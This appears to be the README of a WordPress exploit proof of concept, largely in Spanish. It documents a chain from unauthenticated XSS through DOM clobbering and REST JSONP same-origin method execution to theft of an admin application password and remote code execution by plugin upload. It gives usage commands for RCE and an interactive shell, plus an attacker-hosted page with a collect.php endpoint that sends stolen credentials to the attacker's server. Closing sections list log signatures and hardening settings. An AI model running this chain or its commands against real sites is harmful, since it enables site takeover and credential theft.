
Cadena de exploits PoC para WordPress que permite pasar de XSS previo a la autenticación a RCE mediante DOM clobbering, REST JSONP/SOME y carga de plugins, con verificación mediante laboratorio Docker y shell interactiva.
Cadena de explotación de XSS pre-autenticación → RCE en WordPress, basada en la investigación de pwn.ai publicada en ionsec.io.
⚠️ AVISO LEGAL: Solo para FINES EDUCATIVOS y PRUEBAS AUTORIZADAS. Úselo únicamente contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito.
| Paso | Técnica | Estado |
|---|---|---|
| 1 | XSS por diferencia de parser (sanitize_user + discrepancia de parseo del navegador) | ✅ Verificado |
| 2 | DOM clobbering (<area id=ajaxurl>, <div id=color-picker>) | ✅ Verificado |
| 3 | Auto-disparo de user-profile.js en la página de inicio de sesión | ✅ Verificado |
| 4 | La devolución de llamada JSONP de REST permite el recorrido de puntos (window.opener.approve.click) | ✅ Verificado |
| 5 | Sobrescritura con _method=GET + _envelope=1 | ✅ Verificado |
| 6 | Robo de contraseñas de aplicación (SOME) | ⚠️ Requiere clic del administrador |
| 7 | Subida de plugin → ejecución de PHP (sin activación) | ⚠️ Requiere credenciales |
Consulta lab/VERIFICATION_REPORT.md para conocer todos los detalles.
Step 1: Parser Differential XSS
└─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
Browser parses these as real HTML elements in login error message
Step 2: DOM Clobbering
└─ <area id=ajaxurl> → shadows window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
<button class="wp-generate-pw color-option"> → delegated click handler
Step 3: user-profile.js Auto-Trigger
└─ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → Same Origin Method Execution
_envelope=1 → bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
└─ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" → application password minted
Step 6: Credential Theft
└─ Password appears in redirect query string → read by child window (same-origin)
Step 7: Plugin Upload → RCE
└─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
Sube xss2shell_attacker.html y collect.php a tu servidor.
Un administrador de WordPress con sesión iniciada debe visitar la página del atacante y hacer clic una vez.
Las credenciales aparecen en collected_creds.json en tu servidor:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
Firmas a buscar en los registros del servidor:
POST /wp-login.php con el cuerpo que contenga < area, < div, < button_jsonp= (especialmente _jsonp=a.b.c — el punto es la señal de SOME)_envelope=1 + _method=GET en rutas que deberían rechazarlosPOST /wp-admin/update.php?action=upload-plugin desde una IP no reconocidaGET /wp-content/plugins/{unknown-plugin}/*.php — archivo PHP en un plugin nunca activadoauthorize-application.phpadd_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp=, _envelope= en los endpoints REST; bloquea < area en el cuerpo POST de wp-login.phpxss2shell/
├── README.md # Documentation (this file)
├── xss2shell_poc.py # Main PoC script
├── xss2shell_attacker.html # Generated attacker page
├── collect.php # Credential collector endpoint
└── lab/
├── docker-compose.yml # Docker lab (WP 6.0.3)
├── VERIFICATION_REPORT.md # Step-by-step verification
├── test_sanitize.php # sanitize_user() tests
├── test_full_payload.php # Full payload chain test
├── test_browser.html # DOM clobbering browser test
├── test_end_to_end.php # End-to-end PHP test
└── verify_xss.sh # Automated curl tests
| Elemento | Detalle |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| Afectados | WordPress 4.7 – 7.0.2 (versiones de punto sin parchear) |
| Corregido | WordPress 7.0.3 (6 de agosto de 2026), retroportado a todas las ramas de mantenimiento |
| Autenticación | Pre-autenticación (XSS no autenticado) |
| Impacto | RCE mediante la subida de un plugin |